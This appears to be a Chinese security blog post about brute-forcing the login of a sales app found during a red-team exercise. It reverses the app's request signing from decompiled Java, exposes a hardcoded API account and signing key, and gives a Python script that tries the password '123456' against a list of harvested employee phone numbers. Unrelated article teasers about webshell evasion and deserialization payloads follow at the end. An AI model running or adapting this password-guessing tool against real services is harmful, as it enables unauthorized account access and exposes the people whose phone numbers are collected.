<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次APP登錄爆破

    VSole2022-08-05 15:14:01

    前言某次攻防演練中,在前期信息收集的時候找到了一款客戶銷售APP,沒有注冊接口,通過收集目標APP的內部員工手機號,對其進行口令爆破。

    使用工具安卓12

    jadx-gui

    1. 抓取登錄HTTP請求包安裝burp證書,并抓取登錄請求
    POST /loginUser HTTP/1.1Host: api.xxxx.xxxxx.com
    apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
    
    1. 分析登錄請求包中需要五個參數
    2. apiaccount
    3. sign
    4. enc
    5. phone
    6. timestamp

    反編譯分析apiaccount

    搜索關鍵詞

    此關鍵詞為固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

    phone

    手機號

    timestamp

    1. 此值為當前的時間戳String.valueOf(System.currentTimeMillis())


    1. 改寫為python代碼
    import timetimestamp = str(int(time.time()*1000))
    

    sign

        public static O d(String str, String str2) {        HashMap hashMap = new HashMap();        hashMap.put("phone", str);        hashMap.put("enc", e(str2));        return c.g.b.f.b.c(f.h(), a(hashMap));    }
        private static Map<String, String> a(Map<String, String> map) {        HashMap hashMap = new HashMap();        hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");        hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));        TreeMap treeMap = new TreeMap();        treeMap.putAll(hashMap);        if (map != null) {            treeMap.putAll(map);        }        hashMap.put("sign", a((SortedMap<String, String>) treeMap));        if (map != null) {            hashMap.putAll(map);        }        return hashMap;    }
        private static String a(SortedMap<String, String> sortedMap) {        StringBuffer stringBuffer = new StringBuffer();        for (Map.Entry<String, String> entry : sortedMap.entrySet()) {            if (!TextUtils.isEmpty(entry.getValue())) {                stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");            }        }        stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");        return D.d(stringBuffer.toString()).toUpperCase();    }    private static byte[] a(byte[] bArr, String str) {        if (bArr != null && bArr.length > 0) {            try {                MessageDigest messageDigest = MessageDigest.getInstance(str);                messageDigest.update(bArr);                return messageDigest.digest();            } catch (NoSuchAlgorithmException e2) {                e2.printStackTrace();            }        }        return null;    }
        private static String q(byte[] bArr) {        int length;        if (bArr != null && (length = bArr.length) > 0) {            char[] cArr = new char[length << 1];            int i2 = 0;            for (int i3 = 0; i3 < length; i3++) {                int i4 = i2 + 1;                char[] cArr2 = f10685a;                cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];                i2 = i4 + 1;                cArr[i4] = cArr2[bArr[i3] & 15];            }            return new String(cArr);        }        return "";    }
    

    sign參數組合

    xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
    

    enc

    `str = phone ` `str2 = password`
    

    大致流程

    1. 輸入密碼
    2. 密碼 + 隨機10位salt
    3. "password=" + "密碼" + "&salt=" + salt
    4. 使用此函數操作密鑰
       private static byte[] b(String str) throws UnsupportedEncodingException {        int i2;        byte b2;        int i3;        byte b3;        int i4;        byte b4;        int i5;        byte b5;        StringBuffer stringBuffer = new StringBuffer();        byte[] bytes = str.getBytes("US-ASCII");        int length = bytes.length;        int i6 = 0;        while (i6 < length) {            while (true) {                i2 = i6 + 1;                b2 = f16023b[bytes[i6]];                if (i2 >= length || b2 != -1) {                    break;                }                i6 = i2;            }            if (b2 == -1) {                break;            }            while (true) {                i3 = i2 + 1;                b3 = f16023b[bytes[i2]];                if (i3 >= length || b3 != -1) {                    break;                }                i2 = i3;            }            if (b3 == -1) {                break;            }            stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));            while (true) {                i4 = i3 + 1;                byte b6 = bytes[i3];                if (b6 == 61) {                    return stringBuffer.toString().getBytes("iso8859-1");                }                b4 = f16023b[b6];                if (i4 >= length || b4 != -1) {                    break;                }                i3 = i4;            }            if (b4 == -1) {                break;            }            stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));            while (true) {                i5 = i4 + 1;                byte b7 = bytes[i4];                if (b7 == 61) {                    return stringBuffer.toString().getBytes("iso8859-1");                }                b5 = f16023b[b7];                if (i5 >= length || b5 != -1) {                    break;                }                i4 = i5;            }            if (b5 == -1) {                break;            }            stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));            i6 = i5;        }        return stringBuffer.toString().getBytes("iso8859-1");    }
    
    1. RSA加密
          Cipher cipher = Cipher.getInstance("RSA");            cipher.init(1, publicKey);            return cipher.doFinal(bArr);
    
    1. 使用此函數處理加密后的結果
     public static String a(byte[] bArr) {        StringBuffer stringBuffer = new StringBuffer();        int length = bArr.length;        int i2 = 0;        while (true) {            if (i2 >= length) {                break;            }            int i3 = i2 + 1;            int i4 = bArr[i2] & 255;            if (i3 == length) {                stringBuffer.append(f16022a[i4 >>> 2]);                stringBuffer.append(f16022a[(i4 & 3) << 4]);                stringBuffer.append("==");                break;            }            int i5 = i3 + 1;            int i6 = bArr[i3] & 255;            if (i5 == length) {                stringBuffer.append(f16022a[i4 >>> 2]);                stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);                stringBuffer.append(f16022a[(i6 & 15) << 2]);                stringBuffer.append("=");                break;            }            int i7 = i5 + 1;            int i8 = bArr[i5] & 255;            stringBuffer.append(f16022a[i4 >>> 2]);            stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);            stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);            stringBuffer.append(f16022a[i8 & 63]);            i2 = i7;        }        return stringBuffer.toString();    }
    
    • 編寫python腳本
    def main(phone,password):    url = "https://xx.com/loginUser"    sign = ""    enc = ""    tmtp = str(int(time.time() * 1000))
        salt = "1234567890"  # 隨機生成的10個數字    enc_ori = "password=" + password + "&salt=" + salt    enc = gen_enc(enc_ori)
        sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
        sign = gen_sign(sign_ori)    print(quote_plus(enc))
        data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp
        res = requests.post(url=url, data=data)    print(res.text)
    

    • 加字典爆破
    def main(phone, password):    res = requests.post(url=url, headers=headers, data=data)    print(res.text)
    if __name__ == "__main__":    with open("phone","r") as f:        for i in f.readlines():            main(i.strip(),"123456")
    
    1. 總結前期目標APP資產
    2. 收集用戶手機號信息
    3. 生成弱口令字典
    4. 對目標進行爆破
    stringsign
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    得益于Unicorn的強大的指令trace能力,可以很容易實現對cpu執行的每一條匯編指令的跟蹤,進而對ollvm保護的函數進行剪枝,去掉虛假塊,大大提高逆向分析效率。
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    本篇主要思路及方法來自于bit4woo和CC11001100兩位巨佬的成果。學習鏈接https://github.com/bit4woo/burp-api-drops
    JSP Webshell的檢測工具
    2021-12-13 12:04:53
    在11月初,我做了一些JSP Webshell的免殺研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個免殺馬生成器JSPHorse,沒想到在Github上已收獲500+的Star
    它們基于JSON格式,并包含一個令牌簽名以確保令牌的完整性。本文主要討論使用JSON Web令牌的安全隱患,以及攻擊者如何利用它們繞過訪問控制。有效載荷和簽名。
    frida復現某app算法
    2023-01-11 10:44:51
    獲取數據某app的登錄界面抓包,發現參數都加密了查驗一下殼,未加殼,可以進行反編譯使用jadx進行反編譯,嘗試搜索一下參數名”Encrypt”,發現兩個JsonRequest類的方法存在運用frida及其下面的代碼在java層進行hook,發現只調用了addRequestMap方法Java.perform(function (){. 跟進addRequestMap方法,了解其使用des加密,hook該方法可獲取明文及加密結果hook代碼Java.perform(function () {
    首先使用jadx對apk進行逆向。?搜索關鍵字 QDSign,可以直接找到對應的類,可以看到參數經過加密得到。??進一步跟蹤,發現了c類中有如下三個so方法,還有3個loadlibrary,分別進行了hook,發現c-lib動態注冊了sign,sos動態注冊了s,沒有發現crypto有動態注冊。
    買車報價APP sign分析
    2023-01-12 11:14:54
    數字企業殼懂得都懂不可能全部脫下來的只能用哪些類就脫哪些了,略微麻煩點。想著通過url的地址去找對應的發請求的位置是不是可以,于是通過搜索url路徑找到了一個類。這是具體的加密方法,沒啥難度了。
    在火線zone看到利用app歷史版本來進行app的逆向分析,可以降低一下分析難度,比較老版本的安全防護做的不是很到位。正好最近有一個app,嘗試利用一下老版本進行分析登錄簽名,沒想到效果非常好。
    FastJson結合二次反序列化繞過黑名單
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类